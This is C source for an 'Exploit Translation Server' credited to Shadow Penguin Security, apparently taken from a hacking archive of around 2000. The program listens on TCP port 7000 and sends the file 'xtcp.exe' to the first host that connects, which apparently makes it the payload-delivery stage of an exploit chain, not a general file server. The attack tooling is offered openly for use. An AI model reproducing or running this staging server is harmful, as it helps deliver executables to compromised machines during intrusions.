home *** CD-ROM | disk | FTP | other *** search
- /*=============================================================================
- Exploit Translation Server Version1.00
- The Shadow Penguin Security (http://shadowpenguin.backsection.net)
- Written by UNYUN (shadowpenguin@backsection.net)
- =============================================================================
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
-
- #define PORT_NUM 7000
- #define BUFSIZE 1000
- #define SENDFILE "xtcp.exe"
-
- int get_connection(port, listener)
- int port;
- int *listener;
- {
- struct sockaddr_in address,acc;
- int listening_socket,connected_socket;
- int reuse_addr=1,acclen=sizeof(acc);
-
- memset((char *) &address, 0, sizeof(address));
- address.sin_family = AF_INET;
- address.sin_port = htons(port);
- address.sin_addr.s_addr = htonl(INADDR_ANY);
- listening_socket = socket(AF_INET, SOCK_STREAM, 0);
- if (listening_socket < 0)
- {
- perror("socket");
- exit(1);
- }
- if (listener != NULL) *listener = listening_socket;
- setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
- (void *)&reuse_addr,sizeof(reuse_addr));
- if (bind(listening_socket,(struct sockaddr *)&address,
- sizeof(address))<0)
- {
- perror("bind");
- exit(1);
- }
- listen(listening_socket, 5);
- connected_socket=accept(listening_socket,
- (struct sockaddr *)&acc,&acclen);
- return connected_socket;
- }
- int main(argc, argv)
- int argc;
- char *argv[];
- {
- int sock,listensock,i,r,l;
- char buf[BUFSIZE];
- struct stat st;
- FILE *fp;
-
- if ((fp=fopen(SENDFILE,"rb"))==NULL)
- {
- printf("File not found \"%s\"\n",SENDFILE);
- exit(1);
- }
- stat(SENDFILE,&st);
- r=st.st_size/BUFSIZE+1;
- sock = get_connection(PORT_NUM, &listensock);
- for (i=0;;i++)
- {
- l=fread(buf,1,BUFSIZE,fp);
- if (l<=0) break;
- write(sock,buf,l);
- }
- fclose(fp);
- close(sock);
- }/* www.hack.co.za [2000]*/